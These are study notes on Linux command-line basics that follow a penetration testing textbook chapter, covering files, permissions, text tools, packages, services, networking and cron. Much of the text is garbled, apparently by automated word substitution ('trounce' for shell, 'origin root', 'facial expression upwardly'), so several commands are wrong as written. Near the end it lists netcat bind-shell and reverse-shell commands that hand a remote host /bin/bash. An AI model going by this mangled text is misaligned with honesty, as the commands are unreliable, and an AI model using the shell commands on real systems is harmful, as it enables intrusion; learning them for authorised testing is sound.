Following Chapter 2 of Georgia Weidman's Penetration Testing book.
Listing Files together with Directories
ls
ls -l
ls -a
File System
cd
cd ..
cd /
cd /Desktop
Man Pages
man ls ls --help
User Privileges
adduser georgia adduser georgia sudo su geogia adduser lav sudo adduser lav overstep away
Creating a New File or Directory
touch myfile mkdir mydirectory ls cd mydirectory
Copying, Moving, together with Removing Files
cp /root/myfile myfile2 ls mv myfile2 myfile3 ls rm myfile3
Adding Text to a File
echo howdy georgia echo howdy georgia > myfile truthful cat myfile echo howdy georgia 1 time again > myfile truthful cat myfile echo howdy georgia a 3rd fourth dimension >> myfile truthful cat myfile
File Permissions
ls -l myfile -rw-r--r-- 1 origin root vi Aug 25 18:42 myfile Lrwxrwxrwx u g o chmod 777 myfile ls -l myfile -rwxrwxrwx 1 origin root vi Aug 25 18:42 myfile
Editing Files
nano testfile ^W Search vi testfile :wq
Data Manipulation
1 Derbycon September 2 Shmoocon Jan iii Brucon September four Blackhat July v Bsides * vi HackerHalted Oct seven Hackcon Apr grep September myfile grep September myfile | cutting -d " " -f 2 sed 's/Blackhat/Defcon/' myfile awk '$1 >5' myfile awk '{print $1,$3;}' myfile
Managing Installed Packagess
Before "apt-get install", ever produce an update to become the latest listing of available packages: apt-get update apt-get install armitage
This volition upgrade all installed packages to the latest version: apt-get upgrade
Repositories are in: /etc/apt/sources.list
Processes together with Services
To come across running processes: top ps aux
To command services: service apache2 commencement service mysql destination service networking restart
Managing Networking
ifconfig ip addr exhibit road ifconfig eth0 downwards ifconfig eth0 upwardly ifconfig eth0 upwardly promisc
To renew DHCP address: dhclient -v dhclient eth0
To educate a static IP address temporarily: ifconfig eth0 192.168.1.100/24
To take all addresses: ip addr even out dev eth0
To educate a static IP address persistently: nano /etc/network/interfaces car eth0 facial expression upwardly eth0 inet static address 192.168.20.9 netmask 255.255.255.0 gateway 192.168.20.1
Viewing Network Connections netstat -antp
Netcat
Connect to a listening service: nc 147.144.1.2 22
Listen on a port: nc -lvp 1234
Open a Command Shell Listener (aka Bind Shell): nc -lvp 1234 -e /bin/bash
Pushing a Command Shell Back to Listener (aka Reverse Shell): First commencement a listener: nc -lvp 1234
Push a trounce to the listener: nc 192.168.1.100 1234 -e /bin/bash
See 10 Useful IP Commands to Configure Network Interfaces Automating Tasks alongside cron Jobs
ls /etc | grep cron crontab -l crontab -e